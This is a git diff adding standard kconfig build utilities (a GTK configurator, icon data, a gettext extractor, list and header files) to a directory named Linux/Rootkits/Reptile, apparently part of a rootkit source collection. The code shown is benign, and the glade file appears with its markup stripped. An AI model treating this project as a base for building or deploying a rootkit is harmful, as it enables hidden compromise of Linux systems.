+ g_strdup_printf("%s %s", _(menu_get_prompt(menu)), + sym && !sym_has_value(sym) ? "(NEW)" : ""); + + if (opt_mode == OPT_ALL && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else if (opt_mode == OPT_PROMPT && + menu_has_prompt(menu) && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else + row[COL_COLOR] = g_strdup("Black"); + + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + row[COL_PIXBUF] = (gchar *) xpm_menu; + if (view_mode == SINGLE_VIEW) + row[COL_PIXVIS] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + case P_COMMENT: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + default: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + break; + } + + if (!sym) + return row; + row[COL_NAME] = g_strdup(sym->name); + + sym_calc_value(sym); + sym->flags &= ~SYMBOL_CHANGED; + + if (sym_is_choice(sym)) { // parse childs for getting final value + struct menu *child; + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) + && child->sym == def_sym) + def_menu = child; + } + + if (def_menu) + row[COL_VALUE] = + g_strdup(_(menu_get_prompt(def_menu))); + } + if (sym->flags & SYMBOL_CHOICEVAL) + row[COL_BTNRAD] = GINT_TO_POINTER(TRUE); + + stype = sym_get_type(sym); + switch (stype) { + case S_BOOLEAN: + if (GPOINTER_TO_INT(row[COL_PIXVIS]) == FALSE) + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + if (sym_is_choice(sym)) + break; + /* fall through */ + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + row[COL_NO] = g_strdup("N"); + row[COL_VALUE] = g_strdup("N"); + row[COL_BTNACT] = GINT_TO_POINTER(FALSE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + case mod: + row[COL_MOD] = g_strdup("M"); + row[COL_VALUE] = g_strdup("M"); + row[COL_BTNINC] = GINT_TO_POINTER(TRUE); + break; + case yes: + row[COL_YES] = g_strdup("Y"); + row[COL_VALUE] = g_strdup("Y"); + row[COL_BTNACT] = GINT_TO_POINTER(TRUE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + } + + if (val != no && sym_tristate_within_range(sym, no)) + row[COL_NO] = g_strdup("_"); + if (val != mod && sym_tristate_within_range(sym, mod)) + row[COL_MOD] = g_strdup("_"); + if (val != yes && sym_tristate_within_range(sym, yes)) + row[COL_YES] = g_strdup("_"); + break; + case S_INT: + case S_HEX: + case S_STRING: + def = sym_get_string_value(sym); + row[COL_VALUE] = g_strdup(def); + row[COL_EDIT] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + } + + return row; +} + + +/* Set the node content with a row of strings */ +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row) +{ + GdkColor color; + gboolean success; + GdkPixbuf *pix; + + pix = gdk_pixbuf_new_from_xpm_data((const char **) + row[COL_PIXBUF]); + + gdk_color_parse(row[COL_COLOR], &color); + gdk_colormap_alloc_colors(gdk_colormap_get_system(), &color, 1, + FALSE, FALSE, &success); + + gtk_tree_store_set(tree, node, + COL_OPTION, row[COL_OPTION], + COL_NAME, row[COL_NAME], + COL_NO, row[COL_NO], + COL_MOD, row[COL_MOD], + COL_YES, row[COL_YES], + COL_VALUE, row[COL_VALUE], + COL_MENU, (gpointer) menu, + COL_COLOR, &color, + COL_EDIT, GPOINTER_TO_INT(row[COL_EDIT]), + COL_PIXBUF, pix, + COL_PIXVIS, GPOINTER_TO_INT(row[COL_PIXVIS]), + COL_BTNVIS, GPOINTER_TO_INT(row[COL_BTNVIS]), + COL_BTNACT, GPOINTER_TO_INT(row[COL_BTNACT]), + COL_BTNINC, GPOINTER_TO_INT(row[COL_BTNINC]), + COL_BTNRAD, GPOINTER_TO_INT(row[COL_BTNRAD]), + -1); + + g_object_unref(pix); +} + + +/* Add a node to the tree */ +static void place_node(struct menu *menu, char **row) +{ + GtkTreeIter *parent = parents[indent - 1]; + GtkTreeIter *node = parents[indent]; + + gtk_tree_store_append(tree, node, parent); + set_node(node, menu, row); +} + + +/* Find a node in the GTK+ tree */ +static GtkTreeIter found; + +/* + * Find a menu in the GtkTree starting at parent. + */ +GtkTreeIter *gtktree_iter_find_node(GtkTreeIter * parent, + struct menu *tofind) +{ + GtkTreeIter iter; + GtkTreeIter *child = &iter; + gboolean valid; + GtkTreeIter *ret; + + valid = gtk_tree_model_iter_children(model2, child, parent); + while (valid) { + struct menu *menu; + + gtk_tree_model_get(model2, child, 6, &menu, -1); + + if (menu == tofind) { + memcpy(&found, child, sizeof(GtkTreeIter)); + return &found; + } + + ret = gtktree_iter_find_node(child, tofind); + if (ret) + return ret; + + valid = gtk_tree_model_iter_next(model2, child); + } + + return NULL; +} + + +/* + * Update the tree by adding/removing entries + * Does not change other nodes + */ +static void update_tree(struct menu *src, GtkTreeIter * dst) +{ + struct menu *child1; + GtkTreeIter iter, tmp; + GtkTreeIter *child2 = &iter; + gboolean valid; + GtkTreeIter *sibling; + struct symbol *sym; + struct menu *menu1, *menu2; + + if (src == &rootmenu) + indent = 1; + + valid = gtk_tree_model_iter_children(model2, child2, dst); + for (child1 = src->list; child1; child1 = child1->next) { + + sym = child1->sym; + + reparse: + menu1 = child1; + if (valid) + gtk_tree_model_get(model2, child2, COL_MENU, + &menu2, -1); + else + menu2 = NULL; // force adding of a first child + +#ifdef DEBUG + printf("%*c%s | %s\n", indent, ' ', + menu1 ? menu_get_prompt(menu1) : "nil", + menu2 ? menu_get_prompt(menu2) : "nil"); +#endif + + if ((opt_mode == OPT_NORMAL && !menu_is_visible(child1)) || + (opt_mode == OPT_PROMPT && !menu_has_prompt(child1)) || + (opt_mode == OPT_ALL && !menu_get_prompt(child1))) { + + /* remove node */ + if (gtktree_iter_find_node(dst, menu1) != NULL) { + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; /* next parent */ + else + goto reparse; /* next child */ + } else + continue; + } + + if (menu1 != menu2) { + if (gtktree_iter_find_node(dst, menu1) == NULL) { // add node + if (!valid && !menu2) + sibling = NULL; + else + sibling = child2; + gtk_tree_store_insert_before(tree2, + child2, + dst, sibling); + set_node(child2, menu1, fill_row(menu1)); + if (menu2 == NULL) + valid = TRUE; + } else { // remove node + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; // next parent + else + goto reparse; // next child + } + } else if (sym && (sym->flags & SYMBOL_CHANGED)) { + set_node(child2, menu1, fill_row(menu1)); + } + + indent++; + update_tree(child1, child2); + indent--; + + valid = gtk_tree_model_iter_next(model2, child2); + } +} + + +/* Display the whole tree (single/split/full view) */ +static void display_tree(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + enum prop_type ptype; + + if (menu == &rootmenu) { + indent = 1; + current = &rootmenu; + } + + for (child = menu->list; child; child = child->next) { + prop = child->prompt; + sym = child->sym; + ptype = prop ? prop->type : P_UNKNOWN; + + if (sym) + sym->flags &= ~SYMBOL_CHANGED; + + if ((view_mode == SPLIT_VIEW) + && !(child->flags & MENU_ROOT) && (tree == tree1)) + continue; + + if ((view_mode == SPLIT_VIEW) && (child->flags & MENU_ROOT) + && (tree == tree2)) + continue; + + if ((opt_mode == OPT_NORMAL && menu_is_visible(child)) || + (opt_mode == OPT_PROMPT && menu_has_prompt(child)) || + (opt_mode == OPT_ALL && menu_get_prompt(child))) + place_node(child, fill_row(child)); +#ifdef DEBUG + printf("%*c%s: ", indent, ' ', menu_get_prompt(child)); + printf("%s", child->flags & MENU_ROOT ? "rootmenu | " : ""); + printf("%s", prop_get_type_name(ptype)); + printf(" | "); + if (sym) { + printf("%s", sym_type_name(sym->type)); + printf(" | "); + printf("%s", dbg_sym_flags(sym->flags)); + printf("\n"); + } else + printf("\n"); +#endif + if ((view_mode != FULL_VIEW) && (ptype == P_MENU) + && (tree == tree2)) + continue; +/* + if (((menu != &rootmenu) && !(menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW))*/ + + /* Change paned position if the view is not in 'split mode' */ + if (view_mode == SINGLE_VIEW || view_mode == FULL_VIEW) { + gtk_paned_set_position(GTK_PANED(hpaned), 0); + } + + if (((view_mode == SINGLE_VIEW) && (menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW)) { + indent++; + display_tree(child); + indent--; + } + } +} + +/* Display a part of the tree starting at current node (single/split view) */ +static void display_tree_part(void) +{ + if (tree2) + gtk_tree_store_clear(tree2); + if (view_mode == SINGLE_VIEW) + display_tree(current); + else if (view_mode == SPLIT_VIEW) + display_tree(browsed); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + +/* Display the list in the left frame (split view) */ +static void display_list(void) +{ + if (tree1) + gtk_tree_store_clear(tree1); + + tree = tree1; + display_tree(&rootmenu); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree1_w)); + tree = tree2; +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + + +/* Main */ +int main(int ac, char *av[]) +{ + const char *name; + char *env; + gchar *glade_file; + + bindtextdomain(PACKAGE, LOCALEDIR); + bind_textdomain_codeset(PACKAGE, "UTF-8"); + textdomain(PACKAGE); + + /* GTK stuffs */ + gtk_set_locale(); + gtk_init(&ac, &av); + glade_init(); + + //add_pixmap_directory (PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps"); + //add_pixmap_directory (PACKAGE_SOURCE_DIR "/pixmaps"); + + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) + glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else + glade_file = g_strconcat(g_get_current_dir(), "/", av[0], ".glade", NULL); + + /* Conf stuffs */ + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'a': + //showAll = 1; + break; + case 'h': + case '?': + printf("%s \n", av[0]); + exit(0); + } + name = av[2]; + } else + name = av[1]; + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + + /* Load the interface and connect signals */ + init_main_window(glade_file); + init_tree_model(); + init_left_tree(); + init_right_tree(); + + switch (view_mode) { + case SINGLE_VIEW: + display_tree_part(); + break; + case SPLIT_VIEW: + display_list(); + break; + case FULL_VIEW: + display_tree(&rootmenu); + break; + } + + gtk_main(); + + return 0; +} + +static void conf_changed(void) +{ + bool changed = conf_get_changed(); + gtk_widget_set_sensitive(save_btn, changed); + gtk_widget_set_sensitive(save_menu_item, changed); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade new file mode 100644 index 0000000..d95dc73 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk PRODUCT Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/images.c b/Linux/Rootkits/Reptile/scripts/kconfig/images.c new file mode 100644 index 0000000..d4f84bd --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/images.c @@ -0,0 +1,326 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +static const char *xpm_load[] = { +"22 22 5 1", +". c None", +"# c #000000", +"c c #838100", +"a c #ffff00", +"b c #ffffff", +"......................", +"......................", +"......................", +"............####....#.", +"...........#....##.##.", +"..................###.", +".................####.", +".####...........#####.", +"#abab##########.......", +"#babababababab#.......", +"#ababababababa#.......", +"#babababababab#.......", +"#ababab###############", +"#babab##cccccccccccc##", +"#abab##cccccccccccc##.", +"#bab##cccccccccccc##..", +"#ab##cccccccccccc##...", +"#b##cccccccccccc##....", +"###cccccccccccc##.....", +"##cccccccccccc##......", +"###############.......", +"......................"}; + +static const char *xpm_save[] = { +"22 22 5 1", +". c None", +"# c #000000", +"a c #838100", +"b c #c5c2c5", +"c c #cdb6d5", +"......................", +".####################.", +".#aa#bbbbbbbbbbbb#bb#.", +".#aa#bbbbbbbbbbbb#bb#.", +".#aa#bbbbbbbbbcbb####.", +".#aa#bbbccbbbbbbb#aa#.", +".#aa#bbbccbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aaa############aaa#.", +".#aaaaaaaaaaaaaaaaaa#.", +".#aaaaaaaaaaaaaaaaaa#.", +".#aaa#############aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +"..##################..", +"......................"}; + +static const char *xpm_back[] = { +"22 22 3 1", +". c None", +"# c #000083", +"a c #838183", +"......................", +"......................", +"......................", +"......................", +"......................", +"...........######a....", +"..#......##########...", +"..##...####......##a..", +"..###.###.........##..", +"..######..........##..", +"..#####...........##..", +"..######..........##..", +"..#######.........##..", +"..########.......##a..", +"...............a###...", +"...............###....", +"......................", +"......................", +"......................", +"......................", +"......................", +"......................"}; + +static const char *xpm_tree_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......................", +"......................"}; + +static const char *xpm_single_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"......................", +"......................"}; + +static const char *xpm_split_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......................", +"......................"}; + +static const char *xpm_symbol_no[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_symbol_mod[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . .. . ", +" . .... . ", +" . .... . ", +" . .. . ", +" . . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_symbol_yes[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . . . ", +" . .. . ", +" . . .. . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_choice_no[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .... ", +" .. .. ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" .. .. ", +" .... ", +" "}; + +static const char *xpm_choice_yes[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .... ", +" .. .. ", +" . . ", +" . .. . ", +" . .... . ", +" . .... . ", +" . .. . ", +" . . ", +" .. .. ", +" .... ", +" "}; + +static const char *xpm_menu[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . .. . ", +" . .... . ", +" . ...... . ", +" . ...... . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_menu_inv[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" .......... ", +" .. ...... ", +" .. .... ", +" .. .. ", +" .. .. ", +" .. .... ", +" .. ...... ", +" .......... ", +" .......... ", +" "}; + +static const char *xpm_menuback[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . .. . ", +" . .... . ", +" . ...... . ", +" . ...... . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_void[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c b/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c new file mode 100644 index 0000000..2858738 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c @@ -0,0 +1,235 @@ +/* + * Arnaldo Carvalho de Melo , 2005 + * + * Released under the terms of the GNU GPL v2.0 + */ + +#include +#include + +#include "lkc.h" + +static char *escape(const char* text, char *bf, int len) +{ + char *bfp = bf; + int multiline = strchr(text, '\n') != NULL; + int eol = 0; + int textlen = strlen(text); + + if ((textlen > 0) && (text[textlen-1] == '\n')) + eol = 1; + + *bfp++ = '"'; + --len; + + if (multiline) { + *bfp++ = '"'; + *bfp++ = '\n'; + *bfp++ = '"'; + len -= 3; + } + + while (*text != '\0' && len > 1) { + if (*text == '"') + *bfp++ = '\\'; + else if (*text == '\n') { + *bfp++ = '\\'; + *bfp++ = 'n'; + *bfp++ = '"'; + *bfp++ = '\n'; + *bfp++ = '"'; + len -= 5; + ++text; + goto next; + } + else if (*text == '\\') { + *bfp++ = '\\'; + len--; + } + *bfp++ = *text++; +next: + --len; + } + + if (multiline && eol) + bfp -= 3; + + *bfp++ = '"'; + *bfp = '\0'; + + return bf; +} + +struct file_line { + struct file_line *next; + const char *file; + int lineno; +}; + +static struct file_line *file_line__new(const char *file, int lineno) +{ + struct file_line *self = malloc(sizeof(*self)); + + if (self == NULL) + goto out; + + self->file = file; + self->lineno = lineno; + self->next = NULL; +out: + return self; +} + +struct message { + const char *msg; + const char *option; + struct message *next; + struct file_line *files; +}; + +static struct message *message__list; + +static struct message *message__new(const char *msg, char *option, + const char *file, int lineno) +{ + struct message *self = malloc(sizeof(*self)); + + if (self == NULL) + goto out; + + self->files = file_line__new(file, lineno); + if (self->files == NULL) + goto out_fail; + + self->msg = strdup(msg); + if (self->msg == NULL) + goto out_fail_msg; + + self->option = option; + self->next = NULL; +out: + return self; +out_fail_msg: + free(self->files); +out_fail: + free(self); + self = NULL; + goto out; +} + +static struct message *mesage__find(const char *msg) +{ + struct message *m = message__list; + + while (m != NULL) { + if (strcmp(m->msg, msg) == 0) + break; + m = m->next; + } + + return m; +} + +static int message__add_file_line(struct message *self, const char *file, + int lineno) +{ + int rc = -1; + struct file_line *fl = file_line__new(file, lineno); + + if (fl == NULL) + goto out; + + fl->next = self->files; + self->files = fl; + rc = 0; +out: + return rc; +} + +static int message__add(const char *msg, char *option, const char *file, + int lineno) +{ + int rc = 0; + char bf[16384]; + char *escaped = escape(msg, bf, sizeof(bf)); + struct message *m = mesage__find(escaped); + + if (m != NULL) + rc = message__add_file_line(m, file, lineno); + else { + m = message__new(escaped, option, file, lineno); + + if (m != NULL) { + m->next = message__list; + message__list = m; + } else + rc = -1; + } + return rc; +} + +static void menu_build_message_list(struct menu *menu) +{ + struct menu *child; + + message__add(menu_get_prompt(menu), NULL, + menu->file == NULL ? "Root Menu" : menu->file->name, + menu->lineno); + + if (menu->sym != NULL && menu_has_help(menu)) + message__add(menu_get_help(menu), menu->sym->name, + menu->file == NULL ? "Root Menu" : menu->file->name, + menu->lineno); + + for (child = menu->list; child != NULL; child = child->next) + if (child->prompt != NULL) + menu_build_message_list(child); +} + +static void message__print_file_lineno(struct message *self) +{ + struct file_line *fl = self->files; + + putchar('\n'); + if (self->option != NULL) + printf("# %s:00000\n", self->option); + + printf("#: %s:%d", fl->file, fl->lineno); + fl = fl->next; + + while (fl != NULL) { + printf(", %s:%d", fl->file, fl->lineno); + fl = fl->next; + } + + putchar('\n'); +} + +static void message__print_gettext_msgid_msgstr(struct message *self) +{ + message__print_file_lineno(self); + + printf("msgid %s\n" + "msgstr \"\"\n", self->msg); +} + +static void menu__xgettext(void) +{ + struct message *m = message__list; + + while (m != NULL) { + /* skip empty lines ("") */ + if (strlen(m->msg) > sizeof("\"\"")) + message__print_gettext_msgid_msgstr(m); + m = m->next; + } +} + +int main(int ac, char **av) +{ + conf_parse(av[1]); + + menu_build_message_list(menu_get_root_menu(NULL)); + menu__xgettext(); + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/list.h b/Linux/Rootkits/Reptile/scripts/kconfig/list.h new file mode 100644 index 0000000..685d80e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/list.h @@ -0,0 +1,131 @@ +#ifndef LIST_H +#define LIST_H + +/* + * Copied from include/linux/... + */ + +#undef offsetof +#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER) + +/** + * container_of - cast a member of a structure out to the containing structure + * @ptr: the pointer to the member. + * @type: the type of the container struct this is embedded in. + * @member: the name of the member within the struct. + * + */ +#define container_of(ptr, type, member) ({ \ + const typeof( ((type *)0)->member ) *__mptr = (ptr); \ + (type *)( (char *)__mptr - offsetof(type,member) );}) + + +struct list_head { + struct list_head *next, *prev; +}; + + +#define LIST_HEAD_INIT(name) { &(name), &(name) } + +#define LIST_HEAD(name) \ + struct list_head name = LIST_HEAD_INIT(name) + +/** + * list_entry - get the struct for this entry + * @ptr: the &struct list_head pointer. + * @type: the type of the struct this is embedded in. + * @member: the name of the list_struct within the struct. + */ +#define list_entry(ptr, type, member) \ + container_of(ptr, type, member) + +/** + * list_for_each_entry - iterate over list of given type + * @pos: the type * to use as a loop cursor. + * @head: the head for your list. + * @member: the name of the list_struct within the struct. + */ +#define list_for_each_entry(pos, head, member) \ + for (pos = list_entry((head)->next, typeof(*pos), member); \ + &pos->member != (head); \ + pos = list_entry(pos->member.next, typeof(*pos), member)) + +/** + * list_for_each_entry_safe - iterate over list of given type safe against removal of list entry + * @pos: the type * to use as a loop cursor. + * @n: another type * to use as temporary storage + * @head: the head for your list. + * @member: the name of the list_struct within the struct. + */ +#define list_for_each_entry_safe(pos, n, head, member) \ + for (pos = list_entry((head)->next, typeof(*pos), member), \ + n = list_entry(pos->member.next, typeof(*pos), member); \ + &pos->member != (head); \ + pos = n, n = list_entry(n->member.next, typeof(*n), member)) + +/** + * list_empty - tests whether a list is empty + * @head: the list to test. + */ +static inline int list_empty(const struct list_head *head) +{ + return head->next == head; +} + +/* + * Insert a new entry between two known consecutive entries. + * + * This is only for internal list manipulation where we know + * the prev/next entries already! + */ +static inline void __list_add(struct list_head *_new, + struct list_head *prev, + struct list_head *next) +{ + next->prev = _new; + _new->next = next; + _new->prev = prev; + prev->next = _new; +} + +/** + * list_add_tail - add a new entry + * @new: new entry to be added + * @head: list head to add it before + * + * Insert a new entry before the specified head. + * This is useful for implementing queues. + */ +static inline void list_add_tail(struct list_head *_new, struct list_head *head) +{ + __list_add(_new, head->prev, head); +} + +/* + * Delete a list entry by making the prev/next entries + * point to each other. + * + * This is only for internal list manipulation where we know + * the prev/next entries already! + */ +static inline void __list_del(struct list_head *prev, struct list_head *next) +{ + next->prev = prev; + prev->next = next; +} + +#define LIST_POISON1 ((void *) 0x00100100) +#define LIST_POISON2 ((void *) 0x00200200) +/** + * list_del - deletes entry from list. + * @entry: the element to delete from the list. + * Note: list_empty() on entry does not return true after this, the entry is + * in an undefined state. + */ +static inline void list_del(struct list_head *entry) +{ + __list_del(entry->prev, entry->next); + entry->next = (struct list_head*)LIST_POISON1; + entry->prev = (struct list_head*)LIST_POISON2; +} +#endif diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h b/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h new file mode 100644 index 0000000..80ea01f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h @@ -0,0 +1,214 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef LKC_H +#define LKC_H + +#include "expr.h" + +#ifndef KBUILD_NO_NLS +# include +#else +static inline const char *gettext(const char *txt) { return txt; } +static inline void textdomain(const char *domainname) {} +static inline void bindtextdomain(const char *name, const char *dir) {} +static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; } +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef PRODUCT_ENV +/* BR2 for buildroot, KCONFIG for kernel. */ +#define PRODUCT_ENV "KCONFIG" +#endif + +#ifndef PRODUCT +/* Buildroot buildroot, Kernel for kernel. */ +#define PRODUCT "Kernel" +#endif + +#ifndef PRODUCT_DOMAIN +/* buildroot.org for buildroot, kernel.org for kernel. */ +#define PRODUCT_DOMAIN "kernel.org" +#endif + +#define P(name,type,arg) extern type name arg +#include "lkc_proto.h" +#undef P + +#define SRCTREE "srctree" + +#ifndef PACKAGE +#define PACKAGE "linux" +#endif + +#define LOCALEDIR "/usr/share/locale" + +#define _(text) gettext(text) +#define N_(text) (text) + +#ifndef CONFIG_ +#define CONFIG_ "CONFIG_" +#endif +static inline const char *CONFIG_prefix(void) +{ + return getenv( "CONFIG_" ) ?: CONFIG_; +} +#undef CONFIG_ +#define CONFIG_ CONFIG_prefix() + +#define TF_COMMAND 0x0001 +#define TF_PARAM 0x0002 +#define 